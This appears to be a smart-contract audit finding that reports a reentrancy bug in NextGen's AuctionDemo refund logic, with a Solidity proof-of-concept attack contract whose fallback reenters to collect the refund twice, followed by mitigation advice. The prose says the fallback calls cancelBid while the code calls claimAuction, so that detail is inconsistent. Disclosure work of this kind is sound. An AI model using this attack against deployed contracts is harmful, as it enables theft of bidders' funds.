NextGen - Oxsadeeq's results

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L104

Vulnerability details

Impact

Detailed description of the impact of this finding. The AuctionDemo contract allows a user to create an auction house for a single token, if the auction is won the highest bidder gets to keep the token at the end of the auction and the other bidders are refunded their bids. The issue noted is that a malicious bidder could keep 2x their bids in the refund process. The bug is caused due to the lack of state changes before external calls. ##Attack Flow 1).An auction is created by any user and a malicious user bob bids an amount. //this attack Idea would rely on bob not winning the auction so assumption that bids //are created higher than bob's bid

2).At the end of the auction, when bob's get his refund bid, he implements a fallback that calls into the AuctionDemo.cancelBid(),which triggers a call to resend his bid.

Proof of Concept

Provide direct links to all referenced code in GitHub. Add screenshots, logs, or any other relevant proof that illustrates the concept. //SPDX-License-Identifier:UNLICENSED pragma solidity ^0.8;

interface IAuctionDemo { function participateToAuction(uint256 _tokenid) external payable;

function claimAuction(uint256 _tokenid) external;

}

contract attackContract { IAuctionDemo auctionHouse; uint256 tokenId; uint8 firstCall;

constructor(address _acutiondemo, uint256 _tokenId) {
    auctionHouse = IAuctionDemo(_acutiondemo);
    tokenId = _tokenId;
}

function pwn() external payable {
    //participate in auction
    auctionHouse.participateToAuction{value: msg.value}(tokenId);
}
 //refunds are sent and then we reenter the contract 
fallback() external payable {
    if (firstCall != 1) {
        ++firstCall;

        auctionHouse.claimAuction(tokenId);
    }
}

}

Tools Used:Foundry

Recommended Mitigation Steps:Add the reentrancy modifier || make state changes to

the auctionInfoData[tokenId][index].status variable before making external calls

Assessed type

Reentrancy